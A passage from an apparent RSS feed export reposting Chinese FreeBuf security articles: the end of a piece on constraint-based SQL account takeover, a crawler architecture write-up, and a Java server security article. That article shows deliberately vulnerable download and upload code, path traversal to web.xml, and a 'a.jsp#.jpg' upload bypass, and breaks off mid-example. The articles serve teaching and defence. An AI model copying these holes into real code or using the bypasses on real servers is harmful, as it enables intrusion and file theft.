 &lt;p&gt;很好，现在我们检索“vampire”的，将返回两个独立用户。注意，第二个用户名实际上是“vampire”加上尾部的18个空格。现在，如果使用用户名“vampire”和密码“random_pass”登录的话，则所有搜索该用户名的SELECT查询都将返回第一个数据记录，也就是原始的数据记录。这样的话，攻击者就能够以原始用户身份登录。这个攻击已经在MySQL和SQLite上成功通过测试。我相信在其他情况下依旧适用。&lt;/p&gt;
 &lt;h2&gt;防御手段&lt;/h2&gt;
 &lt;p&gt;毫无疑问，在进行软件开发时，需要对此类安全漏洞引起注意。我们可采取以下几项措施进行防御：&lt;/p&gt;
 &lt;ol&gt;
  &lt;li&gt;
   &lt;p&gt;将要求或者预期具有唯一性的那些列加上UNIQUE约束。实际上这是一个涉及软件开发的重要规则，即使你的代码有维持其完整性的功能，也应该恰当的定义数据。由于’username’列具有UNIQUE约束，所以不能插入另一条记录。将会检测到两个相同的字符串，并且INSERT查询将失败。&lt;/p&gt;
&lt;/li&gt;
  &lt;li&gt;
   &lt;p&gt;最好使用’id’作为数据库表的主键。并且数据应该通过程序中的id进行跟踪&lt;/p&gt;
&lt;/li&gt;
  &lt;li&gt;
   &lt;p&gt;为了更加安全，还可以用手动调整输入参数的限制长度（依照数据库设置）&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
 &lt;p&gt;  &lt;strong&gt;*参考来源：   &lt;a href="https://dhavalkapil.com/blogs/SQL-Attack-Constraint-Based/"&gt;dhavalkapil&lt;/a&gt;，FB小编鸢尾编译，转载请注明来自FreeBuf（FreeBuf.COM） &lt;/strong&gt;            &lt;/p&gt;
&lt;div&gt; &lt;a href="https://itindex.net/"  title="IT 资讯"&gt;&lt;img src="https://itindex.net/images/iconWarning.gif" title="IT 资讯" border="0"/&gt; &lt;/a&gt;</description>
      <category>WEB安全</category>
      <guid isPermaLink="true">https://itindex.net/detail/56520-%E7%BA%A6%E6%9D%9F-sql-%E6%94%BB%E5%87%BB</guid>
      <pubDate>Fri, 06 Jan 2017 08:24:16 CST</pubDate>
    </item>
    <item>
      <title>如何用最小的代价完成爬虫需求</title>
      <link>https://itindex.net/detail/56823-%E7%88%AC%E8%99%AB-%E9%9C%80%E6%B1%82</link>
      <description>&lt;p&gt;  &lt;img alt="1.jpg" height="460" src="http://image.3001.net/images/20170324/14903462826088.jpg!small" width="690"&gt;&lt;/img&gt; &lt;/p&gt;
 &lt;p&gt;&lt;/p&gt;
 &lt;h2&gt;一  缘起&lt;/h2&gt;
 &lt;p&gt;  &lt;strong&gt;在我工作的多家公司，有众多的领域，如房产，电商，广告等领域。尽管业务相差很大，但都涉及到爬虫领域。开发爬虫项目多了后，自然而然的会面对一个问题——&lt;/strong&gt;&lt;/p&gt;
 &lt;blockquote&gt;  &lt;p&gt;l 这些开发的爬虫项目有通用性吗？&lt;/p&gt;
  &lt;p&gt;l 有没有可能花费较小的代价完成一个新的爬虫需求？&lt;/p&gt;
  &lt;p&gt;l 在维护运营过程中，是否能够工具化，构建基于配置化的分布式爬虫应用？&lt;/p&gt;
&lt;/blockquote&gt;
 &lt;p&gt;这就是是我们今天要讨论的话题。&lt;/p&gt;
 &lt;h2&gt;二  项目需求&lt;/h2&gt;
 &lt;p&gt;立项之初，我们从使用的脚度试着提几个需求。&lt;/p&gt;
 &lt;h3&gt;1. 分布式抓取&lt;/h3&gt;
 &lt;p&gt;由于抓取量可能非常庞大，一台机器不足以处理百万以上的抓取任务，因此分布式爬虫应用是首当其冲要面对并解决的问题。&lt;/p&gt;
 &lt;h3&gt;2. 模块化，轻量&lt;/h3&gt;
 &lt;p&gt;我们将爬虫应用分成“应用层，服务层，业务处理层，调度层” 四个脚色。&lt;/p&gt;
 &lt;h3&gt;3. 可管理，可监控&lt;/h3&gt;
 &lt;p&gt;管理监控是一个体系，即配置可管理化，运行实时监控化。在系统正常运行时，可以变更爬虫的配置，一旦实时监控爬虫出现异常，可实时修正配置进行干预。所有的一切，均可以通过UI界面进行操作。&lt;/p&gt;
 &lt;h3&gt;4. 通用性，可扩展。&lt;/h3&gt;
 &lt;p&gt;爬虫业务往往多变，不同领域的爬取需求不尽相同。举例说，房源抓取包含图片抓取，小区信息抓取，房源去重等模块。新闻抓取包括内容抓取，正文提取，信息摘要等相关。&lt;/p&gt;
 &lt;p&gt;因此，系统需要能够支持业务扩展需求，可以支持不同的业务使用同一套框架进行应用开发。 &lt;/p&gt;
 &lt;h2&gt;三  模块分解&lt;/h2&gt;
 &lt;p&gt;针对业务需求，我们将系统分解成多个应用模块。&lt;/p&gt;
 &lt;h3&gt;应用层&lt;/h3&gt;
 &lt;p&gt;应用层是针对管理员，系统维护人员使用。主要分成两个模块，系统配置模块和运营管理模块。&lt;/p&gt;
 &lt;blockquote&gt;  &lt;p&gt;l 系统配置模块：系统配置模块包含抓取网站管理配置，在线测试等功能。&lt;/p&gt;
  &lt;p&gt;l 运营管理模块：运营管理模块包含实时抓取量统计，分析，正确率等。甚至包括失败原因，失败量。&lt;/p&gt;
&lt;/blockquote&gt;
 &lt;p&gt;系统运营人员可以根据运营模块得到实时的反馈，使用系统配置模块进行配置修正，在线测试正确后将配置生效，再实时监控新的配置产生的效果。&lt;/p&gt;
 &lt;h3&gt;服务层&lt;/h3&gt;
 &lt;p&gt;服务层是整个系统传输的中枢，相当于整个分布式集中的系统总线和数据总线。服务层提供一个http/thrift接口，读取数据库，输出配置信息。&lt;/p&gt;
 &lt;blockquote&gt;  &lt;p&gt;a. 提供网站爬虫配置接口。从数据库中实时读取配置信息，响应业务层的配置请求。&lt;/p&gt;
  &lt;p&gt;b. 提供业务层输出写入接口。接受业务层实时爬取的信息汇总，包括正确数据量，错误数据量，以及错误原因。&lt;/p&gt;
  &lt;p&gt;c. 提供实时报表统计分析。响应应用层的运营管理模块，查询数据库，实时提供数据分析报告。&lt;/p&gt;
&lt;/blockquote&gt;
 &lt;h3&gt;业务处理层  &lt;br /&gt;&lt;/h3&gt;
 &lt;p&gt;业务处理层是整个爬虫系统的核心，可分成多台应用服务器进行处理。业务处理层主要包含解决两件事情。&lt;/p&gt;
 &lt;blockquote&gt;  &lt;p&gt;l 如何获取url&lt;/p&gt;
  &lt;p&gt;l 得到url后，如何处理&lt;/p&gt;
&lt;/blockquote&gt;
 &lt;p&gt;  &lt;strong&gt;（一）  如何获取url&lt;/strong&gt;&lt;/p&gt;
 &lt;p&gt;对于爬虫来说，如何获取url至关重要。我们将这一过程定义为发现系统。对于发现系统而言，目标为如何发现待抓取网站的详细url列表，尽可能的发现更全。&lt;/p&gt;
 &lt;p&gt;  &lt;strong&gt;假设场景 A&lt;/strong&gt;&lt;/p&gt;
 &lt;p&gt;我们逛一个电商网站：打开首页-打开分类页-可能会有多层分类页-逐层点击-直至最小的分类页面。&lt;/p&gt;
 &lt;p&gt;打开这个分类页会发现该分类页下的所有分页页面，一页一页往下翻，就能够获得该分类页的所有商品。&lt;/p&gt;
 &lt;p&gt;  &lt;strong&gt;假设场景 B&lt;/strong&gt;&lt;/p&gt;
 &lt;p&gt;我们逛一个汽车网站：打开首页-找到品牌页-接着找到车系-最后找到车款页面。&lt;/p&gt;
 &lt;p&gt;通过以上场景分析可以得到一个结论，人能非常智能的找到所有待抓取的详细页面，即电商的商品，汽车的车款页面。那么，是否可以通过配置方式来模拟这一过程呢？&lt;/p&gt;
 &lt;p&gt;请看下图：&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="2.jpg" height="496" src="http://image.3001.net/images/20170324/14903467938236.jpg!small" width="678"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;备注如下：&lt;/p&gt;
 &lt;p&gt;1. root_info：&lt;/p&gt;
 &lt;p&gt;定义发现模块的入口页面，如同人打开汽车站的网页，后续的发现都是起始于这些入口页。&lt;/p&gt;
 &lt;p&gt;这里给出的实例是，某汽车网的品牌列表页，根据“模板化”套用变量的配置，共有100个入口页。&lt;/p&gt;
 &lt;p&gt;2. steps: &lt;/p&gt;
 &lt;p&gt;依次遍历这100个入口页，分别会执行steps中定义的步骤。机器模拟人的方式进行查看浏览。&lt;/p&gt;
 &lt;p&gt;每个step中，会使用”link_module”定义的类进行逻辑进行处理。&lt;/p&gt;
 &lt;blockquote&gt;  &lt;p&gt;a. 读取入口页的html，结合”sub_prefix”,”sub_suffix”和”select”定义的内容，获得页面子区域html。&lt;/p&gt;
  &lt;p&gt;b. 使用”link_match_method”的方法（含前缀包含，匹配等）,抽取子区域的链接。&lt;/p&gt;
  &lt;p&gt;c. 每个链接 和”link_pattern”进行匹配，匹配成功的url进入下一步。&lt;/p&gt;
  &lt;p&gt;d. 每一步得到的url，自动进和地下一步处理，处理逻辑为递归上面a-c，直至”last_step”为true为止。&lt;/p&gt;
&lt;/blockquote&gt;
 &lt;p&gt;此处，即”last_step”为true中发现的url，即为发现系统最终需要获取的url列表。发现系统总结，通过配置的方式，结合人类的浏览习惯，通过若干步迭代，最终获取网站的详细页url列表。&lt;/p&gt;
 &lt;p&gt;由于每一步的抽取链接规则，以及步数据都是人为定义，因此，可以适配绝大部分网站的发现系统。当然，越复杂的网站发现配置可能更多一些、更为繁杂，但万变不离其宗。&lt;/p&gt;
 &lt;p&gt;  &lt;strong&gt;（二）得到url后，如何处理&lt;/strong&gt;&lt;/p&gt;
 &lt;p&gt;前提当然是每个业务的处理各不相同，有抽取页面属性功能、有正文提取、有图片获取，甚至有和当前系统对接等。&lt;/p&gt;
 &lt;p&gt;由于业务处理不一致，很自然想到的是通过配置方式，定义职责链系统，如同著名框架Netty中的Pipeline设计。在处理过程中，定义一个Context上下文处理类，并且，所有的中间结果都暂缓在这个Context中。&lt;/p&gt;
 &lt;p&gt;描述比较空洞，还是结合实际案例来看。&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="3.jpg" height="494" src="http://image.3001.net/images/20170324/14903468171385.jpg!small" width="690"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;备注如下：&lt;/p&gt;
 &lt;p&gt;得到一个url后，读取配置，当url和”site”匹配时，适用当前”site”规则。&lt;/p&gt;
 &lt;p&gt;1.  pipeline定义职责链的处理过程&lt;/p&gt;
 &lt;p&gt;此处的定义为“抓取模块，Javascript处理模块，通用解析模块”。对应的处理如下：&lt;/p&gt;
 &lt;p&gt;先执行抓取模块，得到html。紧接着执行Javascript处理模块，输入为html，解析html，此处可能是评论，也可能是价格，总之处理的是动态加载项目，紧接着处理“通用解析模块”&lt;/p&gt;
 &lt;p&gt;2.  ”parser_rules”定义的是解析模块&lt;/p&gt;
 &lt;p&gt;最终输出的是kv，在java中是map，python中是dict。即从上一步的html中，找到每一荐的”sizzle”，执行”prefix”,”suffix”即前后缀移除(过滤如同“价格：xxx元，前缀为“价格:”，后缀为元)。&lt;/p&gt;
 &lt;p&gt;对了，sizzle也是一个开源技术，据说以前鼎鼎有名的Jquery也是”sizzle”引擎。Java中可以使用Jsoup解析处理。&lt;/p&gt;
 &lt;p&gt;怎么知道需要取的”sizzle”内容是什么呢？具体可以结合firebug插件，选中即可得。选中后，结合应用层的管理工具，即可进行测试。&lt;/p&gt;
 &lt;p&gt;3. “isrequire”&lt;/p&gt;
 &lt;p&gt;可以看到，配置项中有“isrequire”，表示这项内容是否必须。如果必须，且在实际处理中获取不到，那么在抓取的过程中，就会记录一个错误， 错误原因自然是“$key is null”。此外，每一个module都可能出错，一旦出错，就没有必要往后去执行。&lt;/p&gt;
 &lt;p&gt;因此，在抓取过程中，业务处理层从服务层获得一批url(默认100个）后，在处理这一百个url结束后，会向服层report，report内容为：&lt;/p&gt;
 &lt;p&gt;当前任务处理机器，于什么时间处理100个页面。不同网站成功多少、失败多少、什么模块失败多少，解析模块什么字段失败多少。&lt;/p&gt;
 &lt;p&gt;所有这些信息，均是实时统计，并在运营监控系统中以图表形示绘制出来，必要时可以发出报警，交由维护人员实时干预。&lt;/p&gt;
 &lt;p&gt;Q: 提一个问题，新增一个anotherauto.com网站怎么办？&lt;/p&gt;
 &lt;p&gt;A: 其实也很简单，再增加一个配置呗。业务定义pipeline，如果有解析需求，填写对应的解析项即可。&lt;/p&gt;
 &lt;p&gt;以上两个系统，发现系统和处理系统，在我们实际生产中，是通过以下步骤贯穿。&lt;/p&gt;
 &lt;blockquote&gt;  &lt;p&gt;a. 发现系统累计发现待抓取网站的详细页，因为是一个累计持续的过程。因此有把握持续无限接近网站的100%页面。&lt;/p&gt;
  &lt;p&gt;b. 处理系统通过服务层，每次去取配置信息（可能维护人员在实时修正）及待抓取的列表进行处理。&lt;/p&gt;
&lt;/blockquote&gt;
 &lt;p&gt;待抓取的列表根据业务的优先级，分普通队列及优先级队列，通过任务调度系统进行统一管理和配置。&lt;/p&gt;
 &lt;p&gt;调度层&lt;/p&gt;
 &lt;blockquote&gt;  &lt;p&gt;l 调度层主要是业务系统。&lt;/p&gt;
  &lt;p&gt;l 新增一个网站任务调度&lt;/p&gt;
  &lt;p&gt;l 网站发现频率，包括增量发现频率和全量发现频率&lt;/p&gt;
  &lt;p&gt;l 网站抓取优先级推送至队列&lt;/p&gt;
  &lt;p&gt;l 断点续抓管理&lt;/p&gt;
  &lt;p&gt;l ……&lt;/p&gt;
&lt;/blockquote&gt;
 &lt;h2&gt;四  系统架构设计&lt;/h2&gt;
 &lt;p&gt;l 从业务模块上看&lt;/p&gt;
 &lt;p&gt;应用层，服务层，业务处理层，调度层&lt;/p&gt;
 &lt;p&gt;l 从功能系统上看&lt;/p&gt;
 &lt;p&gt;发现系统，抓取系统， 配置系统，监控系统&lt;/p&gt;
 &lt;p&gt;l 从扩展性上看&lt;/p&gt;
 &lt;p&gt;自定义职责链，自定义属性提取&lt;/p&gt;
 &lt;p&gt;l 从实时性上看&lt;/p&gt;
 &lt;p&gt;实时抓取，实时配置生效，实时监控，实时测试&lt;/p&gt;
 &lt;p&gt;l 从系统架构上看&lt;/p&gt;
 &lt;p&gt;分布式架构，服务层主从切换设计，轻量（仅依赖于队列，数据库，java)&lt;/p&gt;
 &lt;h2&gt;五  图例&lt;/h2&gt;
 &lt;p&gt;①　&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="4.jpg" height="419" src="http://image.3001.net/images/20170324/14903470026639.jpg!small" width="690"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;②　&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="5.jpg" height="444" src="http://image.3001.net/images/20170324/14903470127613.jpg!small" width="690"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;③　&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="6.jpg" height="484" src="http://image.3001.net/images/20170324/14903470204520.jpg!small" width="690"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;爬虫模块 ui二 (1.6  任务配置) ：&lt;/p&gt;
 &lt;p&gt;定义每个爬虫任务的处理执行职责链，不同的爬虫任务可以有不同的处理链。对于系统而言，处理每一个待爬取的url，都会按照职责链的顺序执行。后置处理类则是一批任务执行后（如上文的100个url)，批量提交的方式。如文件落地，入库，推往线上系统等。通过任务处理定义，则可以自定义各类不同场景的爬虫业务，在不编码的前提下增加系统的灵活性。&lt;/p&gt;
 &lt;p&gt;④　​&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="7.jpg" height="463" src="http://image.3001.net/images/20170324/14903470299043.jpg!small" width="690"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;属性配置：&lt;/p&gt;
 &lt;p&gt;如图所示，维护人员增加条测试的url，同时定义需要提取的属性，则可在线定义该页面对应的属性输出，可见即可得。 在增加便利性，可测试性的基础上，又能灵活的选取页面的任意属性，值得一提的是，可以通过firefox插件获取sizzle的配置。&lt;/p&gt;
 &lt;p&gt;⑤　&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="8.jpg" height="416" src="http://image.3001.net/images/20170324/14903470395433.jpg!small" width="690"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;1.9查看明细： &lt;/p&gt;
 &lt;p&gt;在爬虫系统的运行过程中，几乎可以实时的进行任务的监控。由于爬虫任务实时将爬取的状态写入数据库，因此完全可以通过ui界面进行管理及监控。1. 监控：监控爬虫任务当前时间成功次数，错误次数，什么模块错误，甚至某个属性提取错误。2. 管理：维护人员观测监控效果后，可实时进行编辑及管理（见上一张图），以应对不同网站的改版需求。所有编辑实时生效，编辑完成后，无需重启服务，又可实时监控爬虫任务的最新效果。&lt;/p&gt;
 &lt;h2&gt;踏浪无痕  岂安科技高级架构师 &lt;/h2&gt;
 &lt;p&gt;十余年数据研发经验，擅长数据处理领域工作，如爬虫、搜索引擎、大数据应用高并发等。担任过架构师，研发经理等岗位。曾主导开发过大型爬虫，搜索引擎及大数据广告DMP系统目前负责岂安科技数据平台开发与搭建。&lt;/p&gt;
 &lt;p&gt;  &lt;strong&gt;*本文作者：岂安科技，转载请注明来自Freebuf.COM&lt;/strong&gt;&lt;/p&gt;
&lt;div&gt; &lt;a href="https://itindex.net/"  title="IT 资讯"&gt;&lt;img src="https://itindex.net/images/iconWarning.gif" title="IT 资讯" border="0"/&gt; &lt;/a&gt;</description>
      <category>WEB安全 爬虫</category>
      <guid isPermaLink="true">https://itindex.net/detail/56823-%E7%88%AC%E8%99%AB-%E9%9C%80%E6%B1%82</guid>
      <pubDate>Sun, 02 Apr 2017 12:17:45 CST</pubDate>
    </item>
    <item>
      <title>JAVA安全之JAVA服务器安全漫谈</title>
      <link>https://itindex.net/detail/55663-java-%E5%AE%89%E5%85%A8-java</link>
      <description>&lt;h1&gt;0x00 前言&lt;/h1&gt;
 &lt;hr&gt;&lt;/hr&gt;
 &lt;p&gt;本文主要针对JAVA服务器常见的危害较大的安全问题的成因与防护进行分析，主要为了交流和抛砖引玉。&lt;/p&gt;
 &lt;h1&gt;0x01 任意文件下载&lt;/h1&gt;
 &lt;hr&gt;&lt;/hr&gt;
 &lt;h3&gt;示例&lt;/h3&gt;
 &lt;p&gt;以下为任意文件下载漏洞的示例。&lt;/p&gt;
 &lt;p&gt;DownloadAction为用于下载文件的servlet。&lt;/p&gt;
 &lt;p&gt;&lt;/p&gt;
 &lt;pre&gt;&amp;lt;servlet&amp;gt;
    &amp;lt;description&amp;gt;&amp;lt;/description&amp;gt;
    &amp;lt;display-name&amp;gt;DownloadAction&amp;lt;/display-name&amp;gt;
    &amp;lt;servlet-name&amp;gt;DownloadAction&amp;lt;/servlet-name&amp;gt;
    &amp;lt;servlet-class&amp;gt;download.DownloadAction&amp;lt;/servlet-class&amp;gt;
&amp;lt;/servlet&amp;gt;

&amp;lt;servlet-mapping&amp;gt;
    &amp;lt;servlet-name&amp;gt;DownloadAction&amp;lt;/servlet-name&amp;gt;
    &amp;lt;url-pattern&amp;gt;/DownloadAction&amp;lt;/url-pattern&amp;gt;
&amp;lt;/servlet-mapping&amp;gt;
&lt;/pre&gt;
 &lt;p&gt;在对应的download.DownloadAction类中，将HTTP请求中的filename参数作为待下载的文件名，从web应用根目录的download目录读取文件内容并返回，代码如下。&lt;/p&gt;
 &lt;pre&gt;protected void doGet(HttpServletRequest request,
        HttpServletResponse response) throws ServletException, IOException {
    String rootPath = this.getServletContext().getRealPath(&amp;quot;/&amp;quot;);

    String filename = request.getParameter(&amp;quot;filename&amp;quot;);
    if (filename == null)
        filename = &amp;quot;&amp;quot;;
    filename = filename.trim();

    InputStream inStream = null;

    byte[] b = new byte[1024];
    int len = 0;
    try {
        if (filename == null) {
            return;
        }
        // 读到流中
        // 本行代码未对文件名参数进行过滤，存在任意文件下载漏洞
        inStream = new FileInputStream(rootPath + &amp;quot;/download/&amp;quot; + filename);
        // 设置输出的格式
        response.reset();
        response.setContentType(&amp;quot;application/x-msdownload&amp;quot;);

        response.addHeader(&amp;quot;Content-Disposition&amp;quot;, &amp;quot;attachment; filename=\&amp;quot;&amp;quot;
                + filename + &amp;quot;\&amp;quot;&amp;quot;);
        // 循环取出流中的数据
        while ((len = inStream.read(b)) &amp;gt; 0) {
            response.getOutputStream().write(b, 0, len);
        }
        response.getOutputStream().close();
        inStream.close();
    } catch (Exception e) {
        e.printStackTrace();
    }
}
&lt;/pre&gt;
 &lt;p&gt;使用DownloadAction下载web应用根目录中的“download/test.txt”文件如下图所示。&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="p1" src="http://static.wooyun.org//drops/20160606/2016060607350320181download-1.png"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;由于在DownloadAction类中没有对filename参数值进行检查，因此产生了任意文件下载漏洞。&lt;/p&gt;
 &lt;p&gt;使用DownloadAction下载web应用根目录中的“WEB-INF/web.xml”文件如下图所示。&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="p2" src="http://static.wooyun.org//drops/20160606/2016060607350529845download-2.png"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;h3&gt;原因分析&lt;/h3&gt;
 &lt;p&gt;从上述示例可以看出，在JAVA web程序的下载文件相关的代码中，若不对HTTP请求中的待下载文件名进行检查，则有可能产生任意文件下载漏洞。&lt;/p&gt;
 &lt;p&gt;java.io.File对象有两个方法可以用于获取文件对象的路径，getAbsolutePath与getCanonicalPath。&lt;/p&gt;
 &lt;p&gt;查看JDK 1.6 API中上述两个方法的说明。&lt;/p&gt;
 &lt;p&gt;getAbsolutePath&lt;/p&gt;
 &lt;blockquote&gt;
  &lt;p&gt;返回此抽象路径名的绝对路径名字符串。&lt;/p&gt;
  &lt;p&gt;如果此抽象路径名已经是绝对路径名，则返回该路径名字符串，这与 getPath() 方法一样。如果此抽象路径名是空抽象路径名，则返回当前用户目录的路径名字符串，该目录由系统属性 user.dir 指定。否则，使用与系统有关的方式解析此路径名。在 UNIX 系统上，根据当前用户目录解析相对路径名，可使该路径名成为绝对路径名。在 Microsoft Windows 系统上，根据路径名指定的当前驱动器目录（如果有）解析相对路径名，可使该路径名成为绝对路径名；否则，可以根据当前用户目录解析它。&lt;/p&gt;
&lt;/blockquote&gt;
 &lt;p&gt;getCanonicalPath&lt;/p&gt;
 &lt;blockquote&gt;
  &lt;p&gt;返回此抽象路径名的规范路径名字符串。&lt;/p&gt;
  &lt;p&gt;   &lt;strong&gt;规范路径名是绝对路径名，并且是惟一的。规范路径名的准确定义与系统有关。如有必要，此方法首先将路径名转换为绝对路径名，这与调用 getAbsolutePath() 方法的效果一样，然后用与系统相关的方式将它映射到其惟一路径名。这通常涉及到从路径名中移除多余的名称（比如 &amp;quot;.&amp;quot; 和 &amp;quot;..&amp;quot;）、解析符号连接（对于 UNIX 平台），以及将驱动器号转换为标准大小写形式（对于 Microsoft Windows 平台）。&lt;/strong&gt;&lt;/p&gt;
  &lt;p&gt;每个表示现存文件或目录的路径名都有一个惟一的规范形式。每个表示不存在文件或目录的路径名也有一个惟一的规范形式。不存在文件或目录路径名的规范形式可能不同于创建文件或目录之后同一路径名的规范形式。同样，现存文件或目录路径名的规范形式可能不同于删除文件或目录之后同一路径名的规范形式。&lt;/p&gt;
&lt;/blockquote&gt;
 &lt;p&gt;使用以下代码在Windows环境测试上述两个方法。&lt;/p&gt;
 &lt;pre&gt;public static void main(String[] args) {
    getFilePath(&amp;quot;C:/Windows/System32/calc.exe&amp;quot;);
    getFilePath(&amp;quot;C:/Windows/System32/drivers/etc/../../notepad.exe&amp;quot;);
}

private static void getFilePath(String filename) {
    File f = new File(filename);

    try {       
        System.out.println(&amp;quot;getAbsolutePath: &amp;quot; + filename + &amp;quot; &amp;quot; + f.getAbsolutePath());
        System.out.println(&amp;quot;getCanonicalPath: &amp;quot; + filename + &amp;quot; &amp;quot; + f.getCanonicalPath());
    } catch (Exception e) {
        e.printStackTrace();
    }
}
&lt;/pre&gt;
 &lt;p&gt;输出结果如下。&lt;/p&gt;
 &lt;pre&gt;getAbsolutePath: C:/Windows/System32/calc.exe C:\Windows\System32\calc.exe
getCanonicalPath: C:/Windows/System32/calc.exe C:\Windows\System32\calc.exe
getAbsolutePath: C:/Windows/System32/drivers/etc/../../notepad.exe C:\Windows\System32\drivers\etc\..\..\notepad.exe
getCanonicalPath: **C:/Windows/System32/drivers/etc/../../notepad.exe C:\Windows\System32\notepad.exe**
&lt;/pre&gt;
 &lt;p&gt;使用以下代码在Linux环境测试上述两个方法。&lt;/p&gt;
 &lt;pre&gt;public static void main(String[] args) {
    getFilePath(&amp;quot;/etc/hosts&amp;quot;);
    getFilePath(&amp;quot;/etc/rc.d/init.d/../../hosts&amp;quot;);
}

private static void getFilePath(String filename) {
    File f = new File(filename);

    try {       
        System.out.println(&amp;quot;getAbsolutePath: &amp;quot; + filename + &amp;quot; &amp;quot; + f.getAbsolutePath());
        System.out.println(&amp;quot;getCanonicalPath: &amp;quot; + filename + &amp;quot; &amp;quot; + f.getCanonicalPath());
    } catch (Exception e) {
        e.printStackTrace();
    }
}
&lt;/pre&gt;
 &lt;p&gt;输出结果如下。&lt;/p&gt;
 &lt;pre&gt;getAbsolutePath: /etc/hosts /etc/hosts
getCanonicalPath: /etc/hosts /etc/hosts
getAbsolutePath: /etc/rc.d/init.d/../../hosts /etc/rc.d/init.d/../../hosts
getCanonicalPath: **/etc/rc.d/init.d/../../hosts /etc/hosts**
&lt;/pre&gt;
 &lt;p&gt;可以看出，当File对象的文件路径中包含特殊字符时，JAVA能够按照操作系统的规范对其进行相应的处理。在Windows与Linux环境中，..均代表上一级目录，因此使用..能够访问上一级目录，导致任意文件读取漏洞产生。&lt;/p&gt;
 &lt;h3&gt;防护方法&lt;/h3&gt;
 &lt;p&gt;可在处理下载的代码中对HTTP请求中的待下载文件参数进行过滤，防止出现..等特殊字符，但可能需要处理多种编码方式。&lt;/p&gt;
 &lt;p&gt;  &lt;strong&gt;也可在生成File对象后，使用getCanonicalPath获取当前文件的真实路径，判断文件是否在允许下载的目录中，若发现文件不在允许下载的目录中，则拒绝下载。&lt;/strong&gt;&lt;/p&gt;
 &lt;h1&gt;0x02 恶意文件上传&lt;/h1&gt;
 &lt;hr&gt;&lt;/hr&gt;
 &lt;p&gt;当攻击者利用恶意文件上传漏洞时，通常会向服务器上传jsp木马并访问，可以直接控制服务器。&lt;/p&gt;
 &lt;h3&gt;示例&lt;/h3&gt;
 &lt;p&gt;以下为恶意文件上传的示例。&lt;/p&gt;
 &lt;p&gt;upload目录中的upload.jsp为处理文件上传的jsp文件，内容如下。&lt;/p&gt;
 &lt;pre&gt;&amp;lt;form name=&amp;quot;form1&amp;quot; action=&amp;quot;&amp;lt;%=request.getContextPath()%&amp;gt;/strutsUploadFileAction_signle.action&amp;quot;
    method=&amp;quot;post&amp;quot; enctype=&amp;quot;multipart/form-data&amp;quot;&amp;gt;&amp;lt;input type=&amp;quot;file&amp;quot; name=&amp;quot;file4upload&amp;quot;
        size=&amp;quot;30&amp;quot;&amp;gt; &amp;lt;br&amp;gt; &amp;lt;input type=&amp;quot;submit&amp;quot;
        value=&amp;quot;submit_signle&amp;quot; name=&amp;quot;submit&amp;quot;&amp;gt;
&amp;lt;/form&amp;gt;
&lt;/pre&gt;
 &lt;p&gt;strutsUploadFileAction_signle为处理文件上传的struts的action，内容如下。&lt;/p&gt;
 &lt;pre&gt;&amp;lt;action name=&amp;quot;strutsUploadFileAction_signle&amp;quot; method=&amp;quot;upload_signle&amp;quot; class=&amp;quot;strutsUploadFile&amp;quot;&amp;gt;
    &amp;lt;result name=&amp;quot;success&amp;quot;&amp;gt;upload/success.jsp&amp;lt;/result&amp;gt;
    &amp;lt;result name=&amp;quot;fail&amp;quot;&amp;gt;upload/fail.jsp&amp;lt;/result&amp;gt;
&amp;lt;/action&amp;gt;
&lt;/pre&gt;
 &lt;p&gt;strutsUploadFile为处理文件上传的Spring的bean，内容如下。&lt;/p&gt;
 &lt;pre&gt;&amp;lt;bean id=&amp;quot;strutsUploadFile&amp;quot; class=&amp;quot;strutsTest.StrutsUploadFileAction&amp;quot;&amp;gt;
&amp;lt;/bean&amp;gt;
&lt;/pre&gt;
 &lt;p&gt;strutsTest.StrutsUploadFileAction为处理文件上传的JAVA类，在其中会检查上传的文件名是否以“.jpg”结尾，代码如下。&lt;/p&gt;
 &lt;pre&gt;// 注意，并不是指前端jsp上传过来的文件本身，而是文件上传过来存放在临时文件夹下面的文件
private File file4upload;

// 提交过来的file的名字
private String file4uploadFileName;

// 提交过来的file的MIME类型
private String file4uploadContentType;

public String upload_signle() throws Exception {

    return uploadCommon(file4upload, file4uploadFileName);
}

private String uploadCommon(File file, String fileName) throws Exception {
    boolean success = false;
    try {
        String newFileName = &amp;quot;&amp;quot;;

        String webPath = ServletActionContext.getServletContext()
                .getRealPath(&amp;quot;/&amp;quot;);

        String allowedType = &amp;quot;.jpg&amp;quot;;
        String fileName_new = fileName.toLowerCase();

        // 本行代码有判断文件类型是否为&amp;quot;.jpg&amp;quot;，但存在文件名截断问题
        if(fileName_new.length() - fileName_new.lastIndexOf(allowedType) != allowedType.length()) {
            file.delete();
            ActionContext.getContext().put(&amp;quot;reason&amp;quot;, &amp;quot;file type is not: &amp;quot; + allowedType);
            return &amp;quot;fail&amp;quot;;
        }

        newFileName = webPath + &amp;quot;uploadDir/&amp;quot; + fileName;
        File dest = new File(newFileName);
        if (dest.exists())
            dest.delete();
        success = file.renameTo(dest);
    } catch (Exception e) {
        success = false;
        e.printStackTrace();
        throw e;
    }

    return success ? &amp;quot;success&amp;quot; : &amp;quot;fail&amp;quot;;
}
&lt;/pre&gt;
 &lt;p&gt;打开upload.jsp，选择文件“a.jpg”进行上传。&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="p3" src="http://static.wooyun.org//drops/20160606/2016060607354212356upload-1.png"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;使用fiddler抓包并拦截，将filename参数修改为“a.jsp#.jpg”后的HTTP请求数据如下。&lt;/p&gt;
